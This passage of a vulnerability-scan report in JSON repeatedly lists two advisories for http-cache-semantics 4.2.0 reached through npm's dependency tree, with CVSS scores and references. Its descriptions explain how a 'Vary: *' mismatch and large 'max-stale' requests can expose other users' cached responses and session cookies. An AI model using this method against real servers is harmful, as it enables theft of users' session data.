"sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", 